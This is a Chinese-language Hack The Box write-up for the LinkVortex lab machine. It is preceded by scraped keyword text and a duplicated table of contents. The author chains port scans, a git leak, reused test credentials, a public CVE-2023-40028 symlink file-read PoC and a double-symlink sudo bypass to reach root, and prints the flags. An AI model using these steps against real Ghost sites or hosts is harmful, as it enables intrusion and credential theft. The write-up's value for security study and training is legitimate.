网站美化工具,wordpress 签到,可视化网站开发,ICP备案和实际网站不是一个名字目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用gobuster对靶机进行路径FUZZ
使用ffuf堆靶机…目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用gobuster对靶机进行路径FUZZ
使用ffuf堆靶机进行子域名FUZZ
边界突破
访问靶机/robots.txt文件
使用wappalyzer查看该页面技术栈
检索该CMS的CVE漏洞
使用gobuster对靶机dev子域名进行路径FUZZ
使用githack讲泄露文件转储至本地
检索该文件内容
尝试构造账户登录WebAPP
在Github中随便找一个PoC
执行该脚本尝试读取靶机内部文件
使用ssh通过上述凭证登录靶机
权限提升
查看可sudo执行的文件
查看/opt/ghost/clean_symlink.sh文件内容 连接至HTB服务器并启动靶机 分配IP10.10.16.22 靶机IP10.10.11.47 靶机Domainlinkvortex.htb 信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a linkvortex.htb -r 1-65535 --ulimit 5000 | tee res 使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -p22,80 -sCV -Pn linkvortex.htb 使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p22,80 --scriptvuln -O -Pn linkvortex.htb 使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn linkvortex.htb 使用gobuster对靶机进行路径FUZZ
gobuster dir -u http://linkvortex.htb -w ../dictionary/Entire-Dir.txt -t 100 -x txt,php,asp,aspx,jsp --exclude-length 0 使用ffuf堆靶机进行子域名FUZZ
ffuf -u http://linkvortex.htb -H Host: FUZZ.linkvortex.htb -w ../dictionary/subdomains-top20000.txt -t 50 -fw 14 边界突破
访问靶机/robots.txt文件 可见/ghost路径不允许爬取尝试访问该路径 使用wappalyzer查看该页面技术栈 由展示可见该页面使用WebAPP为Ghost CMS 5.58
检索该CMS的CVE漏洞 原介绍 Ghost is an open source content management system. Versions prior to 5.59.1 are subject to a vulnerability which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. Site administrators can check for exploitation of this issue by looking for unknown symlinks within Ghosts content/ folder. Version 5.59.1 contains a fix for this issue. All users are advised to upgrade. There are no known workarounds for this vulnerability. 机翻后 Ghost是一个开源的内容管理系统。5.59.1之前的版本存在一个漏洞允许经过身份验证的用户上传符号链接文件。攻击者可利用此漏洞读取主机操作系统上的任意文件。网站管理员可以通过检查 Ghost 的 content/ 文件夹中是否存在未知的符号链接来检测是否遭受此漏洞的攻击。5.59.1版本已修复此问题。建议所有用户进行升级。目前尚无已知的临时解决方案来应对此漏洞。 因此CVE-2023-40028漏洞适用于获取WebAPP凭证后读取靶机内部文件
使用gobuster对靶机dev子域名进行路径FUZZ 由输出可见该子域名存在git泄露
使用githack讲泄露文件转储至本地
python githack.py http://dev.linkvortex.htb/.git/
在/dev.linkvortex.htb路径下找到Dockerfile.ghost文件
cat Dockerfile.ghost
由输出可见config配置文件被拷贝到/var/lib/ghost/config.production.json 在/dev.linkvortex.htb/ghost/core/test/regression/api/admin路径下找到authentication.test.js文件
检索该文件内容
grep -C1 -i password authentication.test.js 可见测试账号疑似默认密码OctopiFociPilfer45
尝试构造账户登录WebAPP 账户adminlinkvortex.htb 密码OctopiFociPilfer45 成功登入后台验证了该凭证可用 在Github中随便找一个PoC
git clone https://github.com/0xyassine/CVE-2023-40028.git 该脚本需要对GHOST_URL参数进行修改 执行该脚本尝试读取靶机内部文件
./CVE-2023-40028.sh -u adminlinkvortex.htb -p OctopiFociPilfer45 尝试读取/var/lib/ghost/config.production.json文件
file /var/lib/ghost/config.production.json
{url: http://localhost:2368,server: {port: 2368,host: ::},mail: {transport: Direct},logging: {transports: [stdout]},process: systemd,paths: {contentPath: /var/lib/ghost/content},spam: {user_login: {minWait: 1,maxWait: 604800000,freeRetries: 5000}},mail: {transport: SMTP,options: {service: Google,host: linkvortex.htb,port: 587,auth: {user: boblinkvortex.htb,pass: fibber-talented-worth}}}
}
由该配置文件可得一凭证 账户boblinkvortex.htb 密码fibber-talented-worth 使用ssh通过上述凭证登录靶机
ssh boblinkvortex.htb 在/home/bob目录下找到user.txt文件 boblinkvortex:~$ ls 1.png 111.txt user.txt whatever boblinkvortex:~$ pwd /home/bob boblinkvortex:~$ cat user.txt e1e7c05b37455f93a36670923855ab32 权限提升
查看可sudo执行的文件
sudo -l 查看/opt/ghost/clean_symlink.sh文件内容
cat /opt/ghost/clean_symlink.sh
#!/bin/bashQUAR_DIR/var/quarantinedif [ -z $CHECK_CONTENT ];thenCHECK_CONTENTfalse
fiLINK$1if ! [[ $LINK ~ \.png$ ]]; then/usr/bin/echo ! First argument must be a png file !exit 2
fiif /usr/bin/sudo /usr/bin/test -L $LINK;thenLINK_NAME$(/usr/bin/basename $LINK)LINK_TARGET$(/usr/bin/readlink $LINK)if /usr/bin/echo $LINK_TARGET | /usr/bin/grep -Eq (etc|root);then/usr/bin/echo ! Trying to read critical files, removing link [ $LINK ] !/usr/bin/unlink $LINKelse/usr/bin/echo Link found [ $LINK ] , moving it to quarantine/usr/bin/mv $LINK $QUAR_DIR/if $CHECK_CONTENT;then/usr/bin/echo Content:/usr/bin/cat $QUAR_DIR/$LINK_NAME 2/dev/nullfifi
fi
用大模型直接一键加上注释 该脚本将检查环境变量CHECK_CONTENT是否为空如为空为其赋值false该脚本仅能接收.png结尾的文件该脚本将检查该参数是否为软链接该脚本将检查软链接内容是否存在etc、root关键字如有将把该软链接文件隔离该脚本将检查CHECK_CONTENT的值是否为true如为真则输出文件内容 因此我的绕过思路是 1.构造一个.png软链接连接至一个不带etc、root关键字的软链接 2.再将该软链接再次连接至/root/root.txt文件 3.将环境变量CHECK_CONTENT改为true绕过第一次判断并在最后使脚本输出文件内容 首先创建一个软链接连接至/root/root.txt文件
ln -s /root/root.txt final_read
再创建一个以.png结尾的软链接连接至上一个软链接
ln -s final_read start_point.png
这里注意所有软链接以及文件必须用绝对路径 boblinkvortex:~$ ln -s /root/root.txt /home/bob/final_read boblinkvortex:~$ ln -s /home/bob/final_read /home/bob/start_point.png boblinkvortex:~$ ls final_read start_point.png user.txt boblinkvortex:~$ sudo CHECK_CONTENTtrue /usr/bin/bash /opt/ghost/clean_symlink.sh start_point.png Link found [ start_point.png ] , moving it to quarantine Content: 62bce49de7c405a3273a8f67bdca50d6